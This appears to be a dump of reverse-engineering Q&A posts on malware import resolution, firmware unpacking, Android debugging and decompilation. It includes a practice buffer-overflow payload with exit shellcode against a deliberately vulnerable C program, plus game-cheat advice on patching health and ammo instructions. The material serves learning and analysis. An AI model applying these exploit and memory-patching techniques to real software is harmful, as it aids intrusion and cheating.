    I have a malware sample that wraps LoadLibrary & GetProcAddress duo to dynamically resolve functions. After this wrapper is called the value stored in eax(which is the function name)immediately gets called. The strings are encrypted and it's too difficult for me to reverse the encryption algorithm. Instead I wrote a python script which sets breakpoints where a call eax instruction is mentioned. Everyting's fine, I get the addresses of the functions from eax that are dynamically imported. The problem is I need them to be readable. I know how to resolve the address to a function name in widbg by calling ln address. But I don't want to sit all day and copy all of the 649 imports one by one to the windbg console. I looked up the windbg's scripting capabilities but I could not write anything that would do the job.

    \n\n

    Thanks

    \n", "Title": "Resolve Addresses To Function Names", "Tags": "|ida|malware|idapython|windbg|dynamic-linking|", "Answer": "

    i dont know if i understood your query correctly but if you want to log the function names that are passed to getproc address you can log them like this in windbg

    \n\n
    C:\\>cdb calc\n\nMicrosoft (R) Windows Debugger Version 10.0.15063.468 X86\n\nntdll!LdrpDoDebuggerBreak+0x2c:\n775605a6 cc              int     3\n\n0:000> bp KERNELBASE!GetProcAddress \".printf \\\"%ma\\\\n\\\",poi(@esp+8);gc\"\n\n0:000> bl\n 0 e 756c6c81     0001 (0001)  0:**** KERNELBASE!GetProcAddress \".printf \\\"%ma\\\\n\\\",poi(@esp+8);gc\"\n\n\n0:000> g\n\nImmWINNLSEnableIME\nImmWINNLSGetEnableStatus\nImmSendIMEMessageExW\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\nCtfImmTIMActivate\nCtfImmRestoreToolbarWnd\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\nLpkPSMTextOut\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\nModLoad: 740c0000 740d3000   C:\\Windows\\system32\\dwmapi.dll\nDwmIsCompositionEnabled\nGetLayout\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\nModLoad: 75590000 7559c000   C:\\Windows\\system32\\CRYPTBASE.dll\nSystemFunction036\nCLSIDFromOle1Class\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\nModLoad: 73b70000 73bac000   C:\\Windows\\system32\\oleacc.dll\nEventWrite\nEventRegister\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\nBufferedPaintStopAllAnimations\n\nntdll!DbgBreakPoint:\n774f4108 cc              int     3\n0:004> q\nquit:\n\nC:\\>\n
    \n\n

    afaik windbg also resolves the address to its function Name

    \n\n
    0:000> rM0\ncalc!WinMain+0x6b:\n001316a0 ffd7            call    edi {kernel32!GetModuleHandleWStub (7737ccac)}\n
    \n" }, { "Id": "16649", "CreationDate": "2017-10-28T17:47:42.033", "Body": "

    I'm trying to analyze a .so file that is ran on android.\nLoading the file into IDA I'm unable to spot the JNI_onLoad.\nSo I dumped the .so to memory and I'm still unable to spot the JNI_onLoad.

    \n\n

    Looking at the strings window, I could see a string \"JNI_onLoad\", but it's not referenced anywhere.\nThe library should also contain JNI native methods, but I'm unable to find any.

    \n\n

    So my question is, where is JNI_onLoad? Must there be a JNI_onLoad? and how does the calling java class know where to find it's native functions?

    \n\n

    Here are the exports that IDA lists:

    \n\n
    Name    Address  Ordinal\n----    -------  -------\n       0008A044        \n/linker 0008A064        \n       0008B098        \n\u05e1      0008AFCC        \n       0008A990        \n       0008A16C        \nr      0008A43C        \n       0008A464        \n\u0192      0008A4B8        \n       0008A784        \n       0008A988        \n       0008AB24        \n       0008AB4C        \n      0008AED0        \n.      0008AED8        \n       0008AEE0        \n       0008AF44        \n       0008AF7C        \nh      0008AF90        \n       0008B07C        \n       0008C808        \n       0008C85C        \n       0008C0E8        \n       0008B5E4        \n}      0008B5EC        \n       0008B690        \n       0008C2D8        \n       0008C0C0        \n      0008C12C        \n\u05d8      0008C184        \n\u05e4      0008C0A4        \n\u00bd      0008C198        \n       0008C1BC        \n|       0008C1E0        \n       0008C228        \n_\u00ab     0008C660        \n       0008C6B0        \n       0008C6CC        \n\u00bb      0008C6D4        \n\u05e0\u00bb     0008C6DC        \n_\u00bb     0008C6E4        \n\u00bb      0008C6EC        \n_      0008C774        \n       0008C790        \n       0008C7A4        \n_      0008C7CC        \n\u05e8_     0008C7E0        \n       0008CAE8        \n
    \n", "Title": "JNI_onLoad not presented in .so (Android)", "Tags": "|android|shared-object|", "Answer": "

    Found somewhat of a solution.
    \nAfter a lot googling I came to a conclusion that the ELF file was corrupted on purpose.
    I've found that only 3 fields can be manipulated in order to make an ELF break a debugger and still be able to run -> (e_shoff, e_shnum, e_shstrndx).

    \n\n
    Source: https://dustri.org/b/screwing-elf-header-for-fun-and-profit.html\n
    \n\n

    I downloaded ELF Parser from http://www.elfparser.com/ and loaded the shared object file into it.
    \nUnder SHeaders, made note of the smallest section offset and converted into hex, in my case the offset was 2056 or in hex 0x808. I went to the ELF header and made note of my SH Offset which was 703264 or in hex 0xABB20
    \nI opened the file in a hex editor and looked for 0x20 0xBB 0x0A 0x00 and replaced it with 0x08 0x08. That fixed the exports and imports for IDA and i was able to find JNI_onLoad.

    \n" }, { "Id": "16657", "CreationDate": "2017-10-30T01:58:46.243", "Body": "

    TAP cards have been around for a while now, but there seems to be very little information around that explains how they work, particularly by the LA transit system.

    \n\n

    Here is an article saying that they are set to replace the MetroCard for the New York transit system with TAP:

    \n\n

    MTA gets ready to dump the Metrocard

    \n\n

    \"enter

    \n\n

    The official Transit Access Pass website has this to say:

    \n\n

    What's TAP?

    \n\n

    Excerpt:

    \n\n
    \n

    Each TAP card has a built-in electronic chip.

    \n \n

    It\u2019s like a mini-computer inside your card! It lets you load Stored Value (money) and a variety of passes for travel across 24 transit agencies. No more fumbling for change. Just load the type of fare you want on your card, then tap it each time you board a bus or train. It\u2019s way faster than cash!

    \n
    \n\n

    It is some sort of contactless smart card, but looking around using that as a search term, TAP seems not to be listed as using the ISO 14443 standard. Yet maybe it does.

    \n\n

    Question: How do they work?

    \n", "Title": "How does a TAP card work?", "Tags": "|smartcards|", "Answer": "

    Too long to fit in a comment.

    \n\n
    \n

    A TAP card is a durable plastic card with a smart chip designed to make your transit experience simple and secure.1

    \n
    \n\n

    \"tap

    \n\n
    \n

    Contactless payments use the international standard ISO/IEC14443 for contactless communications that is being adopted worldwide for financial payments and leverage the existing payments infrastructure which has supported payment cards for more than 40 years.\n 2

    \n
    \n\n

    \n1. TAP FAQs. https://www.taptogo.net/TAPFAQ

    \n\n

    2. Contactless Payments: Frequently Asked Questions. https://www.securetechalliance.org/publications-contactless-payments-faq

    \n" }, { "Id": "16668", "CreationDate": "2017-10-30T21:15:37.140", "Body": "

    I was watching this series of videos and I noticed that his memory addresses were not changing every time he restarted the game and/or olly. In addition, his comments seemed to stick around and he was able to easily find where he had been working previously. https://www.youtube.com/watch?v=BHYjxsDROn4&t=8s

    \n\n

    I am also trying to grab specific memory addresses and write a basic program that allows me to change them by writing to them externally, but every time I try to do it the memory address changes. I realize that memory is dynamic and this is supposed to happen, but I don't understand why it was not happening to him. Is it just because it is an older video and that's how it used to work, or am I missing something. In addition, in order to do it now I assume I need to somehow get the offset from the base address. Every video I watch about doing this refers to finding an offset for a pointer. Do only pointers maintain a static offset? If so, how do I find this in ollydbg?

    \n", "Title": "Getting the correct memory address for a specific value", "Tags": "|ollydbg|c++|", "Answer": "

    The reason his memory addresses weren't changing in that scenario is because the game is 32-bit and loaded into memory conventionally per this and this (do a CTRL + F for 0x400000 and read the paragraph the first 2 results are located in).

    \n\n

    You may also see addresses referenced by a symbol name, like ac_client.exe+5B2C0, where ac_client.exe references a base of 0x400000 plus the offset 0x5B2C0.

    \n\n

    As for what you're trying to accomplish in C++, there are Windows functions you can use to identify a process and then acquire its base address. Then you can base offsets off that. If your addresses are changing every time you start the game, then as Dominik suggested, ASLR may be what you're dealing with. Or an anti-cheat/obfuscation implementation like Denuvo. Or a game utilizing something like JVM which can change addresses and sub-routine instructions with each restart.

    \n\n

    Your options are commonly to reference a symbol name, find a base address + offset to reference, or identify a byte signature (aka \"array of bytes\") you can scan for--of which you then acquire an address to use either in and of itself, or as a reference point to base an offset from.

    \n\n

    There's a lot more to all of this, but I highly recommend you pick up the book \"Game Hacking\". For what you're looking to do, it will impart quite a bit of wisdom to you that you'd otherwise spend hours upon hours trying to piece together via posts and videos. It also provides code snippets you need for things like acquiring the PID of a running process, etc.

    \n" }, { "Id": "16669", "CreationDate": "2017-10-31T00:52:23.383", "Body": "

    I have seen the ways to modify an apk using apktools and adding android:debugging=\"true\" but I have an apk that check for changes and crashes if any changes are made. Is it possible to capture the running thread and set a breakpoint using smalidea or something similar? I'm trying to capture some info from the apk in order to write something similar as I'm not getting any feedback from the original developer (in China).

    \n", "Title": "Debugging third party apk without modifying apk", "Tags": "|debugging|android|apk|", "Answer": "

    You can't debug an apk on a user build of Android, unless the app has the android:debuggable=\"true\" attribute in the manifest

    \n\n

    However, if you have a phone you can flash, you can flash a version of Android that allows debugging of any app. userdebug builds allow this, for example. I believe it's the \"ro.debuggable\" system attribute that controls this.

    \n\n

    Another option might be to try running the app in an emulator, which also allows debugging of any app.

    \n\n

    Once you're able to debug the app, you can use smalidea or any other debugging tools that you want.

    \n" }, { "Id": "16675", "CreationDate": "2017-10-31T14:52:25.623", "Body": "

    I am trying to disassemble the firmware for the Cisco Sx300 switch as found here: \nhttps://software.cisco.com/download/release.html%3Fmdfid%3D283019611%26softwareid%3D282463181%26release%3D1.2.7.76

    \n\n

    While some documentation for other iterations of Wind River's firmware exist, I have not encountered a working set of tools for this particular firmware.

    \n\n

    Binwalk gives some results:

    \n\n
    DECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             Cisco VxWorks firmware header, header size: 80 bytes, number of files: 15, image size: 6988894, firmware version: \"1.2.7.76\"\n209           0xD1            LANCOM WWAN firmware\n1483          0x5CB           LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 16016448 bytes\n3984149       0x3CCB15        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 859164 bytes\n4153128       0x3F5F28        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2962457 bytes\n4847723       0x49F86B        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2122505 bytes\n6914211       0x6980A3        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 66664 bytes\n6932632       0x69C898        XML document, version: \"1.0\"\n6950635       0x6A0EEB        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 121427 bytes\n
    \n\n

    However, extraction with the -e flag doesn't provide meaningful results. Several files are extracted, but others end up as corrupt archives, or file that are are too small to be actual files. I am not certain that the LZMA compressed data isn't false positive.

    \n\n

    Disassembly with IDA fails, as I do not know the loader address.

    \n\n

    This Cisco help resource suggests that there is some form of compression going on:\nhttps://supportforums.cisco.com/t5/small-business-support-documents/how-to-recover-a-reboot-loop-on-sx300/ta-p/3134953

    \n\n

    This help support post confirms that the Firmware is ARM based, but I am not certain as to the exact make of the chip.

    \n\n

    I am aware that previous iterations of the VxWork's Firmware had the loader address in the header. Analysis of the header did not find a useable address at the suggested location (0x14)

    \n\n

    \"Very

    \n\n

    I attempted to match up the strings in the firmware to string tables and was not able to find any string tables, despite a thorough search. This supports my notion that it is compressed, or otherwise packed.

    \n\n

    Lastly, I searched through the binary for probable addresses in order to deduce the loader address. I was not able to find any commonly referenced addresses or ranges. This was especially hard, as none of the binary was able to be correctly analyzed by IDA.

    \n\n

    Am I missing something easy and fundamental here? Is there a special technique for VxWorks firmware?

    \n", "Title": "Disassembling VxWorks Firmware", "Tags": "|disassembly|firmware|", "Answer": "
    \n

    This supports my notion that it is compressed, or otherwise packed.

    \n
    \n\n

    You are correct; most of this firmware image is compressed or encrypted. In order to be disassembled the binary will have to be decompressed/decrypted.

    \n\n

    Evidence of compression/encryption:

    \n\n
      \n

    1. binwalk entropy plot\n\"binwalk

      \n\n

      The entropy level throughout most of the file appears to appears to be close to the maximum possible.

      2. \n

    2. Visualization via binvis.io:

      \n\n

      A visualization of the entropy of the firmware is on the left and a visualization of the entropy of an uncompressed file is on the right:

      \n\n

      \"firmware\n\"bash

      3. \n

    3. ent (A Pseudorandom Number Sequence Test Program)

      \n\n
      $ ent sx300_fw-12776.ros \nEntropy = 7.999864 bits per byte.\n\nOptimum compression would reduce the size\nof this 6988974 byte file by 0 percent.\n\nChi square distribution for 6988974 samples is 1330.86, and randomly\nwould exceed this value 0.01 percent of the times.\n\nArithmetic mean value of data bytes is 127.3134 (127.5 = random).\nMonte Carlo value for Pi is 3.145007550 (error 0.11 percent).\nSerial correlation coefficient is 0.002524 (totally uncorrelated = 0.0).\n
      \n\n

      See http://www.devttys0.com/2013/06/differentiate-encryption-from-compression-using-math/

      4. \n
    \n" }, { "Id": "16677", "CreationDate": "2017-10-31T18:49:20.617", "Body": "

    So I just started with reverse engineering and have run into some issues until I recently noticed something strange. I wrote an extremely simple shellcode (exit system call) for practice and I played around with it in gdb. I use the following code to create my payload:

    \n\n
    $(python -c 'print \"\\x90\" * 498 + \"\\x31\\xdb\\xb0\\x01\\xcd\\x80\" + \"\\x2c\\xd1\\xff\\xff\"')\n
    \n\n

    I run this payload against the following program:

    \n\n
    #include <string.h>\n\nint main(int argc, char **argv)\n{\n  char buffer[500];\n  strcpy(buffer, argv[1]);\n}\n
    \n\n

    I compiled the program with:

    \n\n
    tcc -m32 -mtune=i386 -g vuln.c -fno-stack-protector\n
    \n\n

    Now, here's my problem. When I run the payload against the program in gdb like this, it works perfectly.

    \n\n
    (gdb) r $(python -c 'print \"\\x90\" * 498 + \"\\x31\\xdb\\xb0\\x01\\xcd\\x80\" + \"\\x2c\\xd1\\xff\\xff\"')\nStarting program: /root/exploiting/a.out $(python -c 'print \"\\x90\" * 498 + \"\\x31\\xdb\\xb0\\x01\\xcd\\x80\" + \"\\x2c\\xd1\\xff\\xff\"')\n[Inferior 1 (process 2573) exited normally]\n(gdb\n
    \n\n

    However, if I run it on my command line:

    \n\n
    root@kali:~/exploiting# ./a.out $(python -c 'print \"\\x90\" * 498 + \"\\x31\\xdb\\xb0\\x01\\xcd\\x80\" + \"\\x2c\\xd1\\xff\\xff\"')\nSegmentation fault\n
    \n\n

    Why does this happen? Is this supposed to happen?

    \n", "Title": "Why does my shellcode work in gdb but not on the command line", "Tags": "|gdb|", "Answer": "

    I think the best way works out for me is to attach the process of the binary with gdb and using setarch -R <binary> to temporarily disable the ASLR protection only for the binary. This way the stack frame should be the same within and without gdb.

    \n

    Hope this helps.

    \n" }, { "Id": "16678", "CreationDate": "2017-10-31T19:25:48.947", "Body": "

    I'm trying to dump a few pieces of info that happen at the very beginning of the start up of a third party app and not after the app is running. I have debugged on other platforms and there is usually a way to load the app and then halt before start up in order to link into it for debugging. Is there a similar mechanism with Android debugging? Using ddms, I can connect and set break points once the app is running.

    \n", "Title": "Android debugging, stop before app starts on third party app", "Tags": "|debugging|android|", "Answer": "

    Yes. Go to settings->developer options and select the app you want to debug in the \"Select debug app\" option, and then make sure the \"wait for debugger\" option is turned on.

    \n\n

    Now, when the app starts, the device will show a dialog and wait for you to attach a debugger before the app starts running.

    \n" }, { "Id": "16681", "CreationDate": "2017-10-31T22:16:04.100", "Body": "

    I have identified a routine that behaves exactly like printf in an ARM64 binary. Arguments are passed in the standard fashion (e.g. X0, X1, X2 ...) and I have given the function the signature (Y) of:

    \n\n
    int printf(char* fmt, ...)\n
    \n\n

    This does the \"right thing\" some of the time, but not very frequently. Usually it'll miss any arguments after the second one.

    \n\n

    Is there any way to tell HexRays more about this routine, so that it \"does the right thing\" and displays the data correctly? As an example, one of the lines is effectively:

    \n\n
    printf(\"%s: %s: foo: 0x%llx, bar: 0x%llx, baz: %u\\n\", \"function_name\");\n
    \n\n

    When it should have several more arguments, as indicated by the format string (and which are actually loaded into registers immediately before the call).

    \n", "Title": "HexRays: Variadic methods like printf", "Tags": "|ida|arm|hexrays|", "Answer": "

    If the decompiler detects wrong number of arguments for a variadic function call, you can adjust it using the context menu comands or Numpad +/- hotkeys.

    \n" }, { "Id": "16688", "CreationDate": "2017-11-01T20:18:41.827", "Body": "

    I'm working on unpacking a camera firmware file which consists of various sections that I am able to correctly split and validate. One section within this file is additionally compressed with a form of LZSS as described here, of which I cannot determine the correct format of the lookup bytes.

    \n\n

    The data starts with 2 uncompressed data blocks of 4096 bytes each (or a single 8192 byte block, however you want to see it), then follows the compressed data.

    \n\n

    The compressed data starts with a flag byte, whose bits (starting at the LSB) tell which of the following bytes are to be copied (bit set), and which ones are lookup information (bit unset). Lookup information is made up of 2 bytes / 16 bits, and I am looking for help to decode their exact format.

    \n\n

    I already know:

    \n\n\n\n

    I suspect:

    \n\n\n\n

    Let's decompress an excerpt, starting at 00675CCE:

    \n\n
    00675CC0  65 0D 0A 0D FD 0A 33 C0 3C 68 74 6D 6C 3E FF 3C  e...\u00fd.3\u00c0<html>\u00ff<\n00675CD0  68 65 61 64 3E 3C 74 BF 69 74 6C 65 3E 34 40 C0  head><t\u00bfitle>4@\u00c0\n00675CE0  42 FF 61 64 20 52 65 71 75 65 6F 73 74 3C 2F 5F  B\u00ffad Requeost</_\n00675CF0  C3 3C 2F 59 C3 6F 62 6F 64 79 57 C0 31 3E 69 CA  \u00c3</Y\u00c3obodyW\u00c01>i\u00ca\n00675D00  FE 8A C0 3C 70 3E 59 6F 75 72 FF 20 62 72 6F 77  \u00fe\u0160\u00c0<p>Your\u00ff brow\n
    \n\n

    The decoding sequence:

    \n\n
    00675CCE FF: read 8 bytes (\"<head><t\")\n00675CD7 BF: read 6 bytes (\"itle>4\")\n             lookup 40C0 -> read 3 bytes @ ? index (\"00 \")\n             read 1 byte  (\"B\")\n00675CE0 FF: read 8 bytes (\"ad Reque\")\n00675CEA 6F: read 4 bytes (\"st</\")\n             lookup 5FC3 -> read 6 bytes @ ? index (\"title>\")\n             read 2 bytes (\"</\")\n             lookup 59C3 -> read 6 bytes @ ? index (\"head><\")\n00675CF5 6F: read 4 bytes (\"body\")\n             ...             \n
    \n\n

    The decoded result:

    \n\n
    00000000  3C 68 65 61 64 3E 3C 74 69 74 6C 65 3E 34 30 30  <head><title>400\n00000010  20 42 61 64 20 52 65 71 75 65 73 74 3C 2F 74 69   Bad Request</ti\n00000020  74 6C 65 3E 3C 2F 68 65 61 64 3E 3C 62 6F 64 79  tle></head><body\n
    \n\n

    Now let's look at the last two lookups and their potential decodings:

    \n\n
    0x5FC3 = 0101111111000011b\n         0101111111000 011 -> index 3064, length 6 (3 + 3 per above rule)\n         010111111100 0011 -> index 1532, length 6\n\n0x59C3 = 0101100111000011b\n         0101100111000 011 -> index 2872, length 6\n         010110011100 0011 -> index 1436, length 6\n
    \n\n

    I specifically chose this example because both lookups are only a few bytes back. In the decoded output/lookup-buffer, 0x5FC3 looks back 23 bytes and 0x59C3 looks back 38 bytes. The length is definitely correct, but the index numbers don't make sense to me. No matter which buffer size I assume, or if the index starts from the front or back of the buffer, or even differentiating endianness, the numbers don't fit. I'd assume that the lookup indices, due to only looking back a few bytes, should be on the lower or upper edge of the buffer. Also due to their vicinity in both compressed data and lookup data, their indices should be very close together.

    \n\n

    So the question is either how can the lookup indices be correctly interpreted, or, assuming they are correct, how does the lookup buffer work because it can't be a standard circular buffer in such case. Any help would be greatly appreciated!

    \n\n

    ps: In case anyone is interested, the firmware format in question is used by the YI M1 and Fujifilm X-A10 cameras. The current state of the firmware unpacker is available on GitHub.

    \n\n

    Update:\nFurther investigation has led me to this related RE question and the LZRW compression family where the lookup indices may also refer to some kind of lookup table instead of directly into the data.

    \n\n

    Update 2:\nFound evidence that the lookup length takes at least 4 bits. Also figured out that the lookup bytes are stored in big endian order (seems like I made a mistake last time when I tried it).

    \n\n
    0x5FC3 = 0101111111000011b\n         110001011111 0011 -> index 3167, length 6 (big endian)\n\n0x59C3 = 0101100111000011b\n         110001011001 0011 -> index 3161, length 6 (big endian)\n
    \n\n

    In the test cases I set up in the linked code repository, I noticed that many lookups are off by 709 byte, so I added an initial lookup buffer write offset of 709 and I'm now able to correctly decode large parts of the data, including the example above. Other parts seem to require another offset though, so this is still open to be figured out.

    \n\n

    Update 3:\nBy analyzing where the lookup offset changes, I noticed longer 0x00 byte sequences that obviously would not be there if that data would be compressed. Taking a closer look at them, it turned out they are paddings for a 2048 byte alignment, and that the compressed data section is again made up of several subsections. Once I split them up and decompressed them separately, the problem with the changing buffer lookup offset was solved. So in the end it seems that the LZSS algorithm works exactly as in the link that I already posted above. The mystery was not the compression itself but the file structure. There are still a few questions open regarding to that, and once I'm done I will post a more detailed answer.

    \n", "Title": "Decoding LZSS buffer lookup indices", "Tags": "|firmware|unpacking|decompress|", "Answer": "

    As already described in the updates to my question, it turned out that the compression algorithm is the standard LZSS algorithm with a 12 bit lookup index and 4 bit lookup length. They were just stored in an unexpected way (flipped bytes).

    \n\n

    Taking the example from the question:

    \n\n
    0x5FC3 = 0 1 0 1 1 1 1 1 1 1 0 0 0 0 1 1 b\n         <-------------> <-----> <----->\n         7             0 11    8 3     0 (bit indices)\n             index        index  length\n
    \n\n

    Ordering the bits correctly yields the following:

    \n\n
    lookup index  110001011111b = 3167\nlookup length 0011b         = 3 (+ 3 [lookup threshold length] = 6) \n
    \n\n

    So the lookup is 6 bytes at buffer position 3167. The buffer position is absolute and always starts at the \"physical\" buffer index 0, it's not an offset to the circular buffer position.

    \n\n

    The reason why I had observed weird and changing lookup index offsets was

    \n\n\n" }, { "Id": "16694", "CreationDate": "2017-11-02T20:27:37.370", "Body": "

    I have been wondering, if every program is based on machine code, can we not decompile a program until it hits machine code and make it up to real programming languages?

    \n\n

    How to decompile exe files with a rate of 100%? If my computer understands the processes it should take, isn't it also be able return me the steps of what's its done, values from memory exc..?

    \n\n

    How do I decompile an exe file without an error?

    \n", "Title": "How to decompile an exe file?", "Tags": "|windows|decompilation|decryption|", "Answer": "
      \n
    1. \n

      I have been wondering, if every program is based on machine code, can we not decompile a program until it hits machine code and make it up to real programming languages?

      \n
      \n\n

      This question is based on a false premise; namely that every program is based on machine code. Programs are typically written in high-level languages, which are by design architecture independent and therefore must be translated into an architecture-specific form in order to be executed:

      \n\n
        \n
      • \n

        \u201cHigh-level\u201d programming languages take their name from the relatively\n high level, or degree of abstraction, of the features they provide, relative to those of the assembly languages they were originally designed to replace. The adjective \u201cabstract,\u201d in this context, refers to the degree to which language features are separated from the details of any particular computer architecture.1

        \n
        • \n
      • \n

        Machine independence is a fairly simple concept. Basically it says that a programming language should not rely on the features of any particular instruction set for its efficient implementation.1

        \n
        • \n
      \n\n

      Programming languages are examples of formal languages:

      \n\n\n\n

      The translation of the series of statements written in a programming language in a program source file to semantically equivalent object code is accomplished by a compiler. Decompilation involves translation of architecture-dependent object code to a semantically equivalent representation (source code) that is not architecture specific, the reverse process of compilation.

      2. \n
    2. \n

      How to decompile exe files with a rate of 100%?

      \n
      \n\n

      This does not seem to be possible.

      \n\n
      \n

      Certainly, fully automated decompilation of arbitrary machine-code programs is not possible -- this problem is theoretically equivalent to the Halting Problem, an undecidable problem in Computer Science. What this means is that automatic (no expert intervention) decompilation cannot be achieved for all possible programs that are ever written. Further, even if a certain degree of success is achieved, the automatically generated program will probably lack meaningful variable and function names as these are not normally stored in an executable file (except when stored for debugging purposes).2

      \n
      3. \n
    \n\n

    Further description of the challenges posed for decompilation can be found here:

    \n\n\n\n

    In fact, correct disassembly (much less decompilation) is a major challenge:

    \n\n\n\n
    \n\n

    1. Scott, Michael L. Programming Language Pragmatics. 3rd ed. Page 111

    \n\n

    2. Is Decompilation Possible?

    \n" }, { "Id": "16699", "CreationDate": "2017-11-03T02:05:12.963", "Body": "

    I have recently been debugging a binary and at a point I started to decompile a function. One of the lines of the decompiled file is this:

    \n\n
    v14 = (int (__cdecl *)(signed int))sub_8048FB6(1);\n
    \n\n

    I have been told it is a function pointer but I have no clue to what function it is pointing to. I will appreciate if someone breaks this absolutely vague string to me into pieces with elaboration.

    \n", "Title": "IDA Pro's Super-Complicated Function Pointer Definition", "Tags": "|ida|pointer|", "Answer": "

    The variable being assigned to:

    \n\n
    v14 = \n
    \n\n

    The type cast needed to convert the result of the subroutine to the type of v14:

    \n\n
    (int (__cdecl *)(signed int))\n
    \n\n

    The subroutine call, with one argument: 1:

    \n\n
    sub_8048FB6(1);\n
    \n\n

    The typecast is needed because hexrays did not figure out automatically what the return type of sub_8048FB6 is, so it probably defaulted to int, instead of the function pointer.

    \n\n
    \n\n

    Now the type:

    \n\n

    The outer brackets denote a type cast:

    \n\n
    (int (__cdecl *)(signed int))\n^                           ^\n
    \n\n

    The calling convention cdecl is cpu specific, commonly, a couple of arguments in registers, the rest on the stack, with the last argument pushed first:

    \n\n
    (int (__cdecl *)(signed int))\n      ^^^^^^^\n
    \n\n

    It is a function pointer, denoted by the bracketed (...*)

    \n\n
    (int (__cdecl *)(signed int))\n     ^        ^^\n
    \n\n

    A function taking one argument, a signed integer:

    \n\n
    (int (__cdecl *)(signed int))\n                ^^^^^^^^^^^^\n
    \n\n

    And the function returning an integer:

    \n\n
    (int (__cdecl *)(signed int))\n ^^^\n
    \n\n
    \n\n

    This is the same as you would declare a function pointer in C:

    \n\n
    typedef  int (*myfunctype)(signed int);\nint afunction(signed int arg);\nmyfunctype  fp = afunction;\n
    \n\n
    \n\n

    If you want to know what function pointer it is that is returned, you will have to look inside sub_8048FB6, to see where it gets it\u2019s return value from.

    \n\n

    For example, sub_8048FB6 may something look like this:

    \n\n
    (int (__cdecl *)(signed int)) sub_8048FB6(int a1)\n{\n     switch(a1) {\n        case 1:\n            return sub_80123456;\n        case 2:\n            return sub_80456789;\n    }\n}\n
    \n\n

    And elsewhere, the returned functions:

    \n\n
    int sub_80123456(signed int)\n{\n   \u2026\n}\n\nint sub_80456789(signed int)\n{\n   \u2026\n}\n
    \n" }, { "Id": "16702", "CreationDate": "2017-11-03T16:02:13.317", "Body": "

    The SYSCALL instruction is said to be the 64-bit version of INT 0X80, however it's still possible to use the latter in 64-bit code (although strace decodes it wrong because of the 64-bit ABI I guess) which usually goes through a \"legacy entry\". But there's something I don't quite understand, why is the SYSCALL instruction faster?

    \n", "Title": "Difference between INT 0X80 and SYSCALL", "Tags": "|x86|system-call|", "Answer": "

    The short answer is that syscall has less overhead than int 0x80.

    \n\n

    For more details on why this is the case, see the accepted answer to Intel x86 vs x64 system call, where a nearly identical question was asked:

    \n\n
    \n

    I'm told that syscall is lighter and faster than generating a software interrupt. Why it is faster on x64 than x86, and can I make a system call on x64 using int 80h?

    \n
    \n\n

    See also:

    \n\n\n" }, { "Id": "16709", "CreationDate": "2017-11-04T16:33:15.973", "Body": "

    I used ollydbg to look at the disassembly of a binary I made to get some practice with reversing. When I close Olly, and then reopen it after a crash, the assembly window is at a different location. How do I search for my comments to jump back to where I was working? I've tried ctrl-g to search for them, but that only seems to search through the assembly code itself.

    \n", "Title": "Searching for comments in ollydbg", "Tags": "|ollydbg|", "Answer": "

    Searching for user comments can be done like this:

    \n\n

    OllyDbg V1

    \n\n
    Right Click >> Search for >> User-defined comment\n
    \n\n

    OllyDbg V2

    \n\n
    Right Click >> Search for >> All user comments\n
    \n\n
    \n\n

    It is not guaranteed that your comments were saved since OllyDbg won't save, just for an example, comments on a dynamic allocated code.

    \n\n

    For the next time, I suggest you to use an external plugin to export and then import your comments. Back in the days I used LabelMaster for this task.

    \n\n
    \n\n

    On a personal note, I highly recommend to use x64dbg which is an active open-source project, unlike Ollydbg which is absolutely outdated. Moreover, x64dbg is inspired by OllyDbg so you should not have too many problems with migrating to it.

    \n\n

    Here are some resources:

    \n\n\n\n

    For the record, you can list your defined comments in x64dbg by pressing Ctrl + Alt + C or by clicking the \"View\" menu and choosing \"Comments\".

    \n" }, { "Id": "16714", "CreationDate": "2017-11-05T02:47:01.477", "Body": "

    So to gain more experience with reversing, I am currently trying to write an external hack for a video game called Borderlands 2. I've been using cheat engine to scan for addresses of instructions that modify values such as ammo and health. I found an instruction that seems to be used for loss of health, and total ammo for all entities in the game. (i.e filling it with NOPs doesn't help me, because it puts me, as well as all of the enemies in godmode and gives everything inf. ammo). My goal is to have one command put me in god mode and a different one to give me inf. ammo and not affect any of the other creatures. Does anyone know how I can NOP this shared instruction only for my health when I use a godmode command and only for my ammo when I use an inf. ammo command? I imagine I need to somehow figure out if the instruction is being used to update my player values (probably by comparing some other offset from the base address to the enemy values at that offset), but I also need to figure out how to determine if the instruction is trying to modify my health or ammo so that I can NOP it only when it is modifying the one corresponding to whichever command I currently have active. Any ideas are welcome!

    \n", "Title": "Dealing with instructions that are accessed by multiple pieces of data", "Tags": "|assembly|memory|dynamic-analysis|", "Answer": "

    The joy of shared instructions! Here are a couple of ideas for you to consider, both of which I'm going to be using Cheat Engine to demonstrate, because it's fast becoming the superior dynamic analysis tool for game-hacking.

    \n\n

    1. Instead of looking for the instruction that writes to the address, right-click on it and look for instructions that access the address. There, you will find instructions that read the value from the address, as well as instructions that write to it. An example of an instruction that reads the value might be for the HUD representation of health. To know how far up to show your health bar being filled, it reads the value from your health address.

    \n\n

    What that means is if you find an address that reads your health value, that may be the only thing that instruction does. You can then create a code injection just before that instruction and move a custom value into the address that's being referenced or pointed at.

    \n\n

    For example, let's say this is an instruction that reads from your health address:

    \n\n

    mov eax,[ecx+0C]

    \n\n

